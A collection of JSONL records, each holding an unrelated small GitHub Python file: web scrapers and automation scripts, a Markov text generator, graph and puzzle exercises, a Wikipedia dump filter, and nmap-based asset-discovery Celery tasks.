+{"seq_id":"8655015098","text":"import json, sys\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.service import Service\n# Script imports\nfrom shoppers import shopper_script\n\n# Fetching user JSON data and converting it to a dictonary \nuserDataJson = sys.argv[1]\nuserDataDict = json.loads(userDataJson)\n\n# Storing the website URL\nwebsite = \"https://shoppersdrugmart.medmeapp.com/schedule/groups/COVID-19-Vaccine\"\n\n# Selecting driver that will help us scrape the website. Webdriver for chrome.\nserv = Service('D:\\Python\\AutoVax\\chromedriver.exe')\n\nchrome_opts = webdriver.ChromeOptions()\nchrome_opts.add_argument(\"--widow-size=1920,1080\")\n\ndriver = webdriver.Chrome(service=serv, options=chrome_opts)\ndriver.maximize_window()\n# Opening a chromedriver window using the command below.\ndriver.get(website)\n\n# Running shoppers script\ntry:\n    shopper_script.book_appointment(driver)\nexcept:\n    driver.close()\n    \n\n\n\n\n","repo_name":"Autovaxx/Backend","sub_path":"booking_script/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":894,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"21662079705","text":"from logging import getLogger\nfrom psycopg2.extras import RealDictCursor\nfrom executor.config.pg_config import PostgresConfig\nfrom executor.user_application.utils.postgre_connect import get_pg_connection\nfrom executor.user_application.utils.shell_commands import run_cmd, run_cmd2\n\nlogger = getLogger(__name__)\n\n\nclass PostgresParam:\n    def __init__(self, pg_config : PostgresConfig):\n        self.pg_config = pg_config\n\n    def get_current_param_value(self, param_name):\n        sql_str = \"\"\"SELECT * FROM pg_catalog.pg_settings WHERE name = '{0}';\"\"\".format(param_name)\n        logger.info(f'Sql string is: {sql_str}')\n        with get_pg_connection(connect_str=self.pg_config.pg_conn_str) as conn:\n            with conn.cursor(cursor_factory=RealDictCursor) as cursor:\n                cursor.execute(sql_str)\n                data = cursor.fetchone()\n                logger.info(f'Fetched data: {data}')\n        return data['setting']\n\n    \n    def update_param_value(self, param_name, param_value, pg_restart=False, pg_reload=False):\n        update_sql = \"\"\"ALTER SYSTEM SET {0} = '{1}MB';\"\"\".format(param_name, param_value)\n        logger.info(f'Update sql string is: {update_sql}')\n        conn = get_pg_connection(connect_str=self.pg_config.pg_conn_str)\n        conn.autocommit = True\n        cursor = conn.cursor(cursor_factory=RealDictCursor)\n        cursor.execute(update_sql)\n        conn.commit()\n        cursor.close()\n        if pg_reload:\n            logger.info('Need to reload the postgres config!')\n            self._run_pg_reload()\n        if pg_restart:\n            logger.info('Need to restart the postgres service!')\n            self._restart_pg()\n\n\n    def _restart_pg(self, time_out=60):\n        restart_cmd = \"service postgresql restart\"\n        '''\n        restart_cmd = \"sudo -i -u {0} {1}/pg_ctl -D {2} -w -t {3} restart\".format(self.pg_config.user,\n                                                                                  self.pg_config.pgbin,\n                                                                                  self.pg_config.pgdata,\n                                                                                  time_out)\n        '''\n        run_cmd2(restart_cmd)\n        logger.info('Restarted postgres successfully!')\n\n    def _run_pg_reload(self):\n        reload_sql = \"\"\"SELECT pg_reload_conf();\"\"\"\n        logger.info(f'Reload sql string is: {reload_sql}')\n        with get_pg_connection(connect_str=self.pg_config.pg_conn_str) as conn:\n            with conn.cursor(cursor_factory=RealDictCursor) as cursor:\n                conn.set_session(autocommit=True)\n                cursor.execute(reload_sql)\n                logger.info('Reload command executed!')\n","repo_name":"nehagodwal/anyab","sub_path":"executor/user_application/param_tuning/postgre_param.py","file_name":"postgre_param.py","file_ext":"py","file_size_in_byte":2719,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"72852868408","text":"#Парсер товаров по списку категорий на сайте http://www.planeta-sirius.ru\r\n#подключаем библиотеку os\r\nimport os\r\n#подключаем бибилиотеку request\r\nimport requests\r\n#подключаем бибилиотеку BeautifulSoup\r\nfrom bs4 import BeautifulSoup\r\n#подключаем бибилиотеку csv\r\nfrom openpyxl import Workbook\r\nwb = Workbook()\r\n# grab the active worksheet\r\nws = wb.active #Активация нужного листа\r\nws.title = \"Лист1\" #Название активного листа. Выбираем любое.\r\nws2 = wb.create_sheet(\"Лист2\") #Создание Лист2\r\nws3 = wb.create_sheet(\"Лист3\") #Создание Лист3\r\n\r\n\r\n#'https://www.f-tk.ru/catalog/01_spetsodezhda/01_01_spetsodezhda_zima/01_01_1_spetsodezhda_zima_kostyumy/' \r\nurl = input('Введите ссылку на категорию\\nСсылка:')\r\nurls = [] #список ссылок на товары\r\n\r\ndef urls_list(url): \r\n  r = requests.get(url)\r\n  soup = BeautifulSoup(r.text, 'html.parser')\r\n  for i in soup.findAll('div', class_ = 'product-photo'):\r\n    soup_a = i\r\n    for j in soup_a.findAll('a', href = True):\r\n      soup_b = j['href']\r\n      urls.append('https://www.f-tk.ru' + soup_b)\r\n\r\ndef pars_articul(url):\r\n  articul_list = []\r\n  for url in urls:\r\n    r = requests.get(url)\r\n    soup = BeautifulSoup(r.text, 'html.parser')\r\n    for b in soup.find_all(class_ = 'product-name-link'):\r\n      soup_a = b\r\n      for b in range(1):\r\n        articul = soup_a.find_all('span')[b].get_text()\r\n        articul = articul.replace(\"Артикул:\", \"\")\r\n        articul = articul.strip()\r\n        articul_list.append([articul])\r\n\r\n  return(articul_list)\r\n\r\ndef pars_price(url): #Парсим цены товаров\r\n  price = []\r\n  for url in urls:\r\n    r = requests.get(url)\r\n    soup = BeautifulSoup(r.text, 'html.parser')\r\n    for i in soup.findAll('span', attrs={\"itemprop\": \"price\"}):\r\n      i = [i.getText()]\r\n      price.append(i)\r\n  return(price)\r\n\r\ndef pars_name_product(url): #Парсим наименование товаров\r\n  product_name = []\r\n  number = '100'\r\n  page = requests.get(url)\r\n  soup = BeautifulSoup(page.text, 'html.parser')\r\n\r\n  try:\r\n    for b in range(int(number)):\r\n      product = soup.find_all('strong')[b].get_text()\r\n      articul = soup.find_all('span')[b].get_text()\r\n      product_name.append([product])\r\n  except IndexError:\r\n    print('УСПЕХ')\r\n  return(product_name)\r\n\r\ndef pars_img_links(url): #Парсим ссылки на изображения\r\n  img_link_list = []\r\n  for url in urls:\r\n    r = requests.get(url)\r\n    soup = BeautifulSoup(r.text, 'html.parser')\r\n    for i in soup.findAll(class_='product-photo idcarousel'):\r\n      soup_c = i\r\n      #print(soup_c)\r\n      for j in soup_c.findAll(attrs={\"itemprop\": \"image\"}, src = True):\r\n        link_img = j['src']\r\n        img_link_list.append(['https://www.f-tk.ru' + link_img])\r\n  try:\r\n    for d in img_link_list:\r\n      img_link_list.remove('https://www.f-tk.ru')\r\n  except:\r\n    print('Лишние элементы удалены')\r\n  return(img_link_list)\r\n\r\ndef write_xlsx_table_name(col,row,range_num): #Заполняем заголовки таблицы\r\n  value_table = [['Артикул'], ['Наименование товара'], ['Цена розничная'], ['Ссылки на картинки']]\r\n  for x in range(range_num):\r\n   for subarray in value_table:\r\n     for index, value in enumerate(subarray):\r\n         ws.cell(column=col+index, row=row).value = value\r\n     col += 1\r\n     row += 0\r\n\r\ndef write_xlsx_product_name(col,row,range_num): #Заполняем столбец с наименованием\r\n  for x in range(range_num):\r\n   for subarray in pars_name_product(url):\r\n     for index, value in enumerate(subarray):\r\n         ws.cell(column=col+index, row=row).value = value\r\n     col += 0\r\n     row += 1\r\n\r\ndef write_xlsx_price(col,row,range_num): #Заполняем столбец с ценами\r\n  for x in range(range_num):\r\n   for subarray in pars_price(url):\r\n     for index, value in enumerate(subarray):\r\n         ws.cell(column=col+index, row=row).value = value\r\n     col += 0\r\n     row += 1\r\n\r\ndef write_xlsx_articul(col,row,range_num): #Заполняем столбец с артикулом\r\n  for x in range(range_num):\r\n   for subarray in pars_articul(url):\r\n     for index, value in enumerate(subarray):\r\n         ws.cell(column=col+index, row=row).value = value\r\n     col += 0\r\n     row += 1\r\n\r\ndef write_xlsx_img_links(col,row,range_num): #Заполняем столбец с ссылками на товары\r\n  for x in range(range_num):\r\n   for subarray in pars_img_links(url):\r\n     for index, value in enumerate(subarray):\r\n         ws.cell(column=col+index, row=row).value = value\r\n     col += 0\r\n     row += 1\r\n\r\nurls_list(url)\r\nprint('-------------------------------------------------')\r\nprint('Список ссылок получен!')\r\nprint('-------------------------------------------------')\r\npars_articul(url)\r\nprint('-------------------------------------------------')\r\nprint('Список артикулов получен!')\r\nprint('-------------------------------------------------')\r\npars_price(url)\r\nprint('-------------------------------------------------')\r\nprint('Список цен получен!')\r\nprint('-------------------------------------------------')\r\npars_name_product(url)\r\nprint('-------------------------------------------------')\r\nprint('Список наименований получен!')\r\nprint('-------------------------------------------------')\r\npars_img_links(url)\r\nprint('-------------------------------------------------')\r\nprint('Список ссылок на изображения получен!')\r\nprint('-------------------------------------------------')\r\nwrite_xlsx_table_name(1,1,1)\r\nwrite_xlsx_articul(1,2,1)\r\nwrite_xlsx_product_name(2,2,1)\r\nwrite_xlsx_price(3,2,1)\r\nwrite_xlsx_img_links(4,2,1)\r\nname = input('Введите название файла для сохранения\\nНазвание файла:')\r\nwb.save(name + '.xlsx')\r\nprint('-------------------------------------------------')\r\nprint('РАБОТА ПАРСЕРА ЗАВЕРШЕНА УСПЕШНО! ФАЙЛ СОХРАНЕН!')\r\nprint('-------------------------------------------------')\r\n","repo_name":"gromovart/Python","sub_path":"finish_parser_product_f-tk_ru.py","file_name":"finish_parser_product_f-tk_ru.py","file_ext":"py","file_size_in_byte":6402,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"73773788727","text":"from pprint import pprint\nfrom enum import Enum\nimport random\nimport urllib\nimport urllib.request\nimport pickle\nimport logging\nimport graph\nimport collections\nimport types\nimport sys\nimport argparse\n\n\nclass RandomWriter(object):\n    \"\"\"A Markov chain based random data generator.\"\"\"\n    def __init__(self, level=1, tokenization=None):\n        self.model = graph.MarkovChainGraph()\n        self.level = level\n        self.token = tokenization\n\n    def generate(self):\n        \"\"\"Generate tokens using the model.\"\"\"\n        node = self.generate_random()\n\n        while True:\n            yield node.state[-1]\n            if len(node.next_states) != 0:\n                node = node.get_next_state()\n                if node == None:\n                    node = self.generate_random()\n                    while len(node.next_states) == 0:\n                        node = self.generate_random()\n            else:\n                node = self.generate_random()\n                while len(node.next_states) == 0:\n                    node = self.generate_random()\n\n    def generate_random(self):\n        ls =[]\n        for key in self.model.state_dict.keys():\n            ls.append(key)\n        return self.model.state_dict[random.choice(ls)]\n\n\n    def generate_file(self, filename, amount):\n        \"\"\"Write a file using the model.\n\n        Make sure to open the file in the appropriate mode.\n        \"\"\"\n        with open(filename, \"w\", encoding=\"utf-8\") as fi:\n            count = 0\n            space = \"\" if self.token is Tokenization.byte or self.token is Tokenization.character else \" \"\n            for generate_token in self.generate():\n                count += 1\n                outputStr = str(generate_token)\n                outputStr += space\n                fi.write(outputStr)\n                if count >= amount:\n                    break\n\n\n    def save_pickle(self, filename_or_file_object):\n\n        if hasattr(filename_or_file_object, 'read'):\n            fi = filename_or_file_object\n        else:\n            fi = open(filename_or_file_object, 'wb')\n        pickle.dump(self.model.state_dict, fi)\n        fi.close()\n\n    @classmethod\n    def load_pickle(cls, filename_or_file_object):\n        \"\"\"Load a Python pickle and make sure it is in fact a model.\"\"\"\n\n        if hasattr(filename_or_file_object, 'read'):\n            fi = filename_or_file_object\n        else:\n            fi = open(filename_or_file_object, 'r+b')\n        rw_instance = RandomWriter()\n        rw_instance.model.state_dict = pickle.load(fi)\n        fi.close()\n        return rw_instance\n\n    def train_url(self, url):\n        \"\"\"Compute the probabilities based on the data downloaded from url.\n        This method is only supported if the tokenization mode is not\n        none.\n        Training is not supported on models loaded form text files.\n        \"\"\"\n\n        if self.token != Tokenization.none:\n            data = urllib.request.urlopen(url)\n            if self.token == Tokenization.byte:\n                data_input = data.read() \n            else:\n                data_input = data.read().decode(\"utf-8\")\n            self.train_iterable(data_input)\n\n    def train_iterable(self, data):\n        \"\"\"Compute the probabilities based on the data given.\n        Training is not supported on models loaded form text files.\n        \"\"\"\n\n        if not isinstance(data, types.GeneratorType):\n            if self.token == Tokenization.character:\n                if type(data) != str:\n                    raise TypeError\n            elif self.token == Tokenization.word:\n                if type(data) != str:\n                    raise TypeError\n                else:\n                    data = tuple(data.split())\n            elif self.token == Tokenization.byte:\n                if type(data) != bytes:\n                    raise TypeError\n            else:\n                if not isinstance(data, collections.Iterable):\n                    raise TypeError\n        try:\n            tokens = {}\n            for i,j in self.windowed(data, self.level):\n                token = tuple(i)\n                if not token in tokens:\n                    tokens[token] = {}\n                follower = (j,)\n                if follower[0] != None:\n                    tokens[token][follower] = tokens[token][follower] + 1 if follower in tokens[token] else 1\n            if len(tokens) == 1:\n                raise Exception(\"The data is too short, should have provided more than {} elements\".format(self.level))\n        except Exception:\n            raise Exception(\"There is an error occurs while loading trainingdata\")\n\n        autoCounter = 1\n        for token in tokens:\n            self.model.add_node(autoCounter, token)\n            autoCounter += 1\n        for token, followers in tokens.items():\n            if len(followers)>0:\n                weight = float(sum((count for follower, count in followers.items())))\n                for follower, count in followers.items():\n                    next_state_token = token[1:] + follower\n\n                    for item in self.model.state_dict.values():\n                        if item.state == next_state_token:\n                            next_state_token_ID = item.value\n                            break\n                    for item in self.model.state_dict.values():\n                        if item.state == token:\n                            current_token_ID = item.value\n                            break\n\n                    if next_state_token_ID in self.model.state_dict:\n                        next_state_node = self.model[next_state_token_ID]\n                        self.model[current_token_ID].set_next_state(next_state_node, count/weight)\n\n\n    def windowed(self, iterable, size):\n        window = list()\n        for v in iterable:\n            if len(window) < size+1:\n                window.append(v)\n            else:\n                window.pop(0)\n                window.append(v)\n            if len(window) == size+1:\n                yield window[:-1], window[-1]\n        yield (window[1:], None)\n\n\nclass Tokenization(Enum):\n    word = 1\n    character = 2\n    byte = 3\n    none = 4\n\n\n\n\nif __name__ == \"__main__\":\n\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--train\", help = \"train the iterator\", action=\"store_true\")\n    parser.add_argument(\"--input\", help = \"The input file to train on\", action=\"store_true\", default=sys.stdin)\n    parser.add_argument(\"--output\", help = \"The input file to train on\", action=\"store_true\", default=sys.stdout)\n    parser.add_argument(\"--word\", help = \"Use word tokenization\", action=\"store_true\")\n    parser.add_argument(\"--character\", help = \"Use character tokenization\", action=\"store_true\")\n    parser.add_argument(\"--byte\", help = \"Use byte tokenization\", action=\"store_true\")\n    parser.add_argument(\"--level\", help = \"Train or level n\", default=1, action=\"store_true\")\n    parser.add_argument(\"--generate\", help = \"generate an output\", action=\"store_true\")\n    parser.add_argument(\"--amount\", help = \"Generate n tokens\", action=\"store_true\")\n    args = vars(parser.parse_args())\n\n    for x,y in args.items():\n        print(x,y)\n\n    rw = RandomWriter(1, Tokenization.word)\n\n    if args['train']:\n        if parser['input']:\n            if parser['character']:\n                token = parser.character\n            elif parser['byte']:\n                token = parser.byte\n            else:\n                token = parser.word\n            if not parser['level']:\n                raise parser.error(\"Need a level\")\n            parser.train_url(parser.input)\n        if parser['output']:\n            parser.save_pickle(parser.output)\n    if parser['generate']:\n        if not parser['amount']:\n            raise parser.error(\"Need an amount\")\n        if parser['input']:\n            print(\"I Tried my best :/\")\n","repo_name":"Exubient/UTCS","sub_path":"etc/sol/final.py","file_name":"final.py","file_ext":"py","file_size_in_byte":7795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"8562511447","text":"from cProfile import run\nfrom cgi import test\nfrom pickle import NONE\nimport time \nimport datetime\nfrom test import hee\nimport pyautogui as pg\n\na=1\n\npoint = datetime.datetime(2022,1,19,8,10)\npoint2 = datetime.datetime(2022,1,19,9,00)\npointmin = int(point.hour *1000 + point.minute) \npointmin2 = int(point2.hour *1000 + point2.minute) \nprint(pointmin)\n\n\n\nwhile a==1:\n\n  now = datetime.datetime.now()\n  nowmin =  int(now.hour *1000 + now.minute) \n\n  \n  locate = pg.locateCenterOnScreen(r'C:\\Users\\PHOO\\Desktop\\img\\call.png')\n  print(locate)\n\n  if locate==None:\n    chat1 = pg.locateCenterOnScreen(r'C:\\Users\\PHOO\\Desktop\\img\\chat1.png')\n    pg.moveTo(chat1,duration=0)\n    pg.click(chat1,duration=0)\n    print('exceptcall')\n\n  \n  ABC = pg.locateCenterOnScreen(r'C:\\Users\\PHOO\\Desktop\\img\\16.png')\n  if ABC==None:\n    print('NNNNNNNNNNNN')\n  else:\n    print('run')\n    run()\n    a=0\n\n  print(nowmin)\n  \n  if nowmin<=pointmin2 and nowmin>=pointmin :\n    time.sleep(0.01)\n\n  else :\n    print('time')\n    time.sleep(1200)\n    \n# while True:\n    \n#     if (nowmin == pointmin):\n#         hee()\n        \n#     else:\n#         print('k')\n\n#     time.sleep(1)\n        ","repo_name":"BIOPHARM101/autocheck-classroom","sub_path":"test time.py","file_name":"test time.py","file_ext":"py","file_size_in_byte":1158,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"14367192443","text":"import heapq\nfrom graphutils import graph, link\n\ngraph1 = graph(7)\nlink(graph1, 0, 1, 2)\nlink(graph1, 0, 2, 6)\nlink(graph1, 1, 3, 5)\nlink(graph1, 2, 3, 8)\nlink(graph1, 3, 5, 15)\nlink(graph1, 3, 4, 10)\nlink(graph1, 4, 5, 6)\nlink(graph1, 5, 6, 6)\nlink(graph1, 4, 6, 2)\n\ngraph_neg = graph(7)\nlink(graph1, 0, 1, 2)\nlink(graph1, 0, 2, 6)\nlink(graph1, 1, 3, 5)\nlink(graph1, 2, 3, 8)\nlink(graph1, 3, 5, 15)\nlink(graph1, 3, 4, 10)\nlink(graph1, 4, 5, 6)\nlink(graph1, 5, 6, 6)\nlink(graph1, 4, 6, 2)\n\n\ndef bellman_ford(g: [[(int, int)]], start: int, destination: int):\n    distances = [float('inf')] * len(g)\n    distances[start] = 0\n\n    # getting the distances\n    for _ in range(len(g) - 1):\n        # relaxing the edges\n        for curr in range(len(g)):\n            for dest, cost in g[curr]:\n                new_distance = distances[curr] + cost\n                if distances[dest] > new_distance:\n                    distances[dest] = new_distance\n\n    # checking for negative cycles\n    # relax the edges one more time, if a modification happens, we have a negative cycle\n    for curr in range(len(g)):\n        for dest, cost in g[curr]:\n            new_distance = distances[curr] + cost\n            if distances[dest] > new_distance:\n                raise ValueError(\"Graph with negative cycle :/\")\n\n    return distances[destination]\n\n\ntest_cases = [\n    {\"inputs\": [graph1, 0, 6], \"expected\": 19},\n    {\"inputs\": [graph1, 0, 2], \"expected\": 6},\n    {\"inputs\": [graph1, 0, 5], \"expected\": 22}\n]\n\nnegative_cycle_test_cases = [\n    {\"inputs\": [graph1, 0, 6], \"expected\": 19},\n    {\"inputs\": [graph1, 0, 2], \"expected\": 6},\n    {\"inputs\": [graph1, 0, 5], \"expected\": 22}\n]\n\nfor test_case in test_cases:\n    result = (bellman_ford(*test_case[\"inputs\"]))\n    assert result == test_case[\"expected\"], f\"Bellman Ford {test_case}: result {result}\"\n    print(f\"✅ Test OK: {test_case}\")\n","repo_name":"wilsonneto-dev/Playing_with_Graphs","sub_path":"bellman-ford.py","file_name":"bellman-ford.py","file_ext":"py","file_size_in_byte":1875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"25236659305","text":"from __future__ import annotations\n\nimport re\n\n\nclass Article:\n\n    def __init__(\n        self,\n        data: list[str]\n    ):\n        \"\"\"\n        Accepts as an argument a list of strings. Strings should be the\n        unprocessed lines from a wikipedia text dump occurring within page\n        tags. They should be in utf-8 format, not binary format. If\n        whitespace was not stripped prior to passing them, it will be\n        stripped during Page initialization.\n        \"\"\"\n        self.lines = list()  # type: list[str]\n        self.is_redirect_page = False  # type: bool\n        self.namespace = int(re.findall(r'\\d+', data[1])[0])\n        self.title = None  # type: str | None\n        for line in data:\n            line = line.strip()\n            self.lines.append(line)\n            if line.startswith(\"<redirect title=\"):\n                self.is_redirect_page = True\n            if line.startswith('<title>'):\n                match = re.search(r\"<title>(.+?)</title>\", line)\n                self.title = match.group(1)\n        self._paragraphs = None  # type: list[str] | None\n\n    def get_paragraphs(\n            self,\n            namespaces: list[int] | None = None\n    ) -> list[str] | None:\n        # If this data has already been generated, don't waste resources\n        # generating it again.\n        if self._paragraphs is not None:\n            return self._paragraphs\n\n        # There are no useful paragraphs on redirect pages.\n        if self.is_redirect_page:\n            return None\n\n        if namespaces is None:\n            namespaces = [0]\n        if self.namespace not in namespaces:\n            return None\n\n        paragraphs = list()\n\n        for line in self.lines:\n            \"\"\"\n            The exclusion criteria below are listed with the highest yielding \n            criteria first, to increase efficiency. For instance, there were \n            many hundreds of millions of lines in the test file starting with a\n            vertical bar, 102 million blank lines, and 13.5 million lines \n            that were double end brackets.\n            \"\"\"\n            # Ignore lines starting with vertical bars, used in ...\n            if line.startswith('|'):\n                continue\n            # Ignore blank lines, of which there are many, and simultaneously\n            # nix lines with a single character, of which there are quite a few\n            if len(line) <= 1:\n                continue\n            # Ignore lines starting with the end marker for a template\n            if line.startswith('}}'):\n                continue\n            # Ignore xml tags\n            if line.startswith('<') or line.endswith('>'):\n                continue\n            # Ignore headers\n            if line.startswith('==') and line.endswith('=='):\n                continue\n            # Ignore unordered and ordered lists\n            if line.startswith('*') or line.startswith('#'):\n                continue\n            # Ignore description lists\n            if line.startswith(';') or line.startswith(':'):\n                continue\n            # Ignore single line templates\n            if (\n                line.startswith('{{') and\n                line.endswith('}}') and\n                \"{{\" not in line[2:-2] and\n                \"}}\" not in line[2: -2]\n            ):\n                continue\n            # Ignore tables\n            if line.startswith('!'):\n                continue\n            # Ignore categories\n            if (\n                    line.startswith('[[') and\n                    (line.endswith(']]') or line.endswith(']]</text>'))\n            ):\n                continue\n            # Ignore file links and descriptions\n            if line.startswith('[[File:'):\n                continue\n            # Remove some equations\n            if (line.startswith(\"&lt;math\") and\n                line.endswith(\"/math&gt;\")):\n                continue\n            # Remove a particular style of making references\n            if (line.startswith(\"&lt;ref name=\") and\n                line.endswith(\"/ref&gt;\")):\n                continue\n            # Ignore lines starting with begin markers for templates,\n            # but containing no end markers\n            if line.startswith('{{') and '}}' not in line:\n                continue\n            # Eliminate inline documentation\n            if line.startswith('&lt;!--') and line.endswith('--&gt;'):\n                continue\n            # ?\n            if (\n                len(line) < 100 and\n                line.startswith('&lt;') and\n                line.endswith('&gt;')\n            ):\n                continue\n            # Ignore lines defining classes\n            if line.startswith('{|'):\n                continue\n            # Ignore captions of some photos:\n            if line.startswith('File:'):\n                continue\n\n            paragraphs.append(line)\n\n        self._paragraphs = paragraphs\n        return paragraphs\n\n","repo_name":"AttackPenguin/UVMR_Essential_Vocabulary","sub_path":"article.py","file_name":"article.py","file_ext":"py","file_size_in_byte":4921,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"20441099572","text":"# coding:utf-8\r\nimport time\r\nfrom controllers.models.libs import nmap\r\nfrom controllers.models.models import AssetmanageAsset, AssetmanageAssetPort, User, db\r\n# from controllers.views.notices import notice_add\r\nfrom celery.utils.log import get_task_logger\r\nfrom controllers.models.libs.checkip import checkip\r\nfrom settings.appcelery import celery_out\r\n\r\nlogger = get_task_logger(__name__)\r\n\r\n\r\n@celery_out.task(ignore_result=True)\r\ndef asset_port(user_id, ip_address):\r\n    user = User.query.filter_by(id=user_id).first()\r\n    global data_manage\r\n    data_manage = {}\r\n    for item in ip_address:\r\n        ip_id = item\r\n        asset = AssetmanageAsset.query.filter_by(Asset_key=ip_id).first()\r\n        port_asset = AssetmanageAssetPort.query.filter_by(Asset_id=ip_id).all()\r\n        if asset:\r\n            ip = asset.Asset_key\r\n            if checkip(ip):\r\n                port_list = nmap.nmap_host_all(ip)\r\n                if port_list != 0:\r\n                    for port_info in port_list.keys():\r\n                        model_info = AssetmanageAssetPort()\r\n                        model_info.Port = port_info\r\n                        model_info.Requestname = port_list[port_info].get('name')\r\n                        model_info.Product = port_list[port_info].get('product')\r\n                        model_info.Version = port_list[port_info].get('version')\r\n                        model_info.Updatetime = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time()))\r\n                        model_info.Asset_id = asset.id\r\n\r\n                        if port_info not in port_asset:\r\n                            db.session.add(model_info)\r\n\r\n                    for info_port in port_asset:\r\n                        if info_port.Port not in port_list.keys():\r\n                            db.session.delete(info_port)\r\n                    data_manage = {\r\n                        'notice_title': '资产发现通知',\r\n                        'notice_body': '您对' + ip + '的端口发现任务完成',\r\n                        'notice_url': '/asset/user/',\r\n                        'notice_type': 'notice',\r\n                    }\r\n                else:\r\n                    data_manage = {\r\n                        'notice_title': '资产发现通知',\r\n                        'notice_body': '您对' + ip + '的端口发���任务完成,该主机未开放端口或网络不可达',\r\n                        'notice_url': '/asset/user/',\r\n                        'notice_type': 'notice',\r\n                    }\r\n                db.session.commit()\r\n                # notice_add(user, data_manage)\r\n            else:\r\n                return False\r\n        else:\r\n            return False\r\n\r\n    return True\r\n\r\n\r\n@celery_out.task(ignore_result=True)\r\ndef asset_descover(user_id, ip_address):\r\n    user = User.query.filter_by(id=user_id).first()\r\n    global data_manage\r\n    data_manage = {\r\n        'notice_title': '资产发现通知',\r\n        'notice_body': '您的资产发现任务已开始，请勿重复提交',\r\n        'notice_url': '/asset/user/',\r\n        'notice_type': 'notice',\r\n    }\r\n    # notice_add(user, data_manage)\r\n    # for item in ip_address:\r\n    ip_id = ip_address\r\n    if len(ip_id.split('/')) > 1:\r\n        segment = ip_id\r\n        host_list = nmap.nmap_alive_lists(segment)\r\n        if host_list is None:\r\n            data_manage = {\r\n                'notice_title': '资产发现通知',\r\n                'notice_body': '针对网段' + segment + '的资产扫描任务已完成，网络不可达或无存活主机',\r\n                'notice_url': '/asset/user/',\r\n                'notice_type': 'notice',\r\n            }\r\n            # notice_add(user, data_manage)\r\n        else:\r\n            global num_id\r\n            num_id = 0\r\n            for host in host_list:\r\n                num_id += 1\r\n                asset_get = AssetmanageAsset.query.filter_by(Asset_key=host).first()\r\n                if asset_get is None:\r\n                    model = AssetmanageAsset()\r\n                    index_key = '01' + time.strftime('%Y%m%d%H%M', time.localtime(time.time())) + str(num_id)\r\n                    model.Asset_num = index_key\r\n                    model.Assert_name = '设备_' + index_key\r\n                    model.Asset_key = host\r\n                    model.Asset_type = '设备'\r\n                    model.Asset_user = user.LoginName\r\n                    model.Asset_status = '1'\r\n                    model.Asset_registertime = time.strftime('%Y-%m-%d %X', time.localtime(time.time()))\r\n                    # asset_get.Asset_updatetime = model.Asset_registertime\r\n                    model.Asset_updatetime = model.Asset_registertime   # 修改过\r\n                    db.session.add(model)\r\n                else:\r\n                    asset_get.Asset_updatetime = time.strftime('%Y-%m-%d %X', time.localtime(time.time()))\r\n            db.session.commit()\r\n    else:\r\n        return False\r\n\r\n    data_manage = {\r\n        'notice_title': '资产发现通知',\r\n        'notice_body': '您的资产发现任务已完成，请注意查看',\r\n        'notice_url': '/asset/user/',\r\n        'notice_type': 'notice',\r\n    }\r\n    # notice_add(user, data_manage)\r\n    return True\r\n","repo_name":"yangxiaoiot/first_se","sub_path":"project/controllers/views/assets/functions/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":5217,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"30779216002","text":"#!/usr/bin/env python\n\nsubject_number = 7\n\n# Example input:\npublic_key_card = 5764801\npublic_key_door = 17807724\n\n# Exercice input:\npublic_key_card = 10441485\npublic_key_door = 1004920\n\n\ndef loop(subject_number, value):\n    return (subject_number * value) % 20201227\n\ndef compute_loop(subject_number = 7, public_key = None, iterations = None):\n    value = subject_number\n    for i in range(1, 100000000):\n        value = loop(subject_number, value)\n        if value == public_key or i + 1 == iterations:\n            break\n\n    return value, i + 1\n\ncard_secret_loop = compute_loop(7, public_key_card)\nprint(card_secret_loop)\n\ndoor_secret_loop = compute_loop(7, public_key_door)\nprint(door_secret_loop)\n\n\nsecret_key_1 = compute_loop(door_secret_loop[0], None, card_secret_loop[1])\nsecret_key_2 = compute_loop(card_secret_loop[0], None, door_secret_loop[1])\n\nprint(secret_key_1, secret_key_2)\n\nif secret_key_1[0] == secret_key_2[0]:\n    print(f\"Part1: {secret_key_1[0]}\")\n","repo_name":"mycroft/challenges","sub_path":"advent-of-code/2020/day25/day25.py","file_name":"day25.py","file_ext":"py","file_size_in_byte":969,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"22773038946","text":"from typing import List\n\n\nclass Solution:\n    def intersection(self, nums1: List[int], nums2: List[int]) -> List[int]:\n        table = {}\n        for num in nums1:\n            table[num] = table.get(num, 0) + 1\n\n        res = set()\n        for num in nums2:\n            if num in table:\n                res.add(num)\n                del table[num]\n        return list(res)\n\n    def intersectionArray(self, nums1: List[int], nums2: List[int]) -> List[int]:\n        count1 = [0] * 1001\n        count2 = [0] * 1001\n        result = []\n        for i in range(len(nums1)):\n            count1[nums1[i]] += 1\n        for j in range(len(nums2)):\n            count2[nums2[j]] += 1\n        for k in range(1001):\n            if count1[k] * count2[k] > 0:\n                result.append(k)\n        return result\n","repo_name":"wangcong26/leetcode_python","sub_path":"a09_hash_map/Leetcode_349_IntersectionOfTwoArrays.py","file_name":"Leetcode_349_IntersectionOfTwoArrays.py","file_ext":"py","file_size_in_byte":798,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
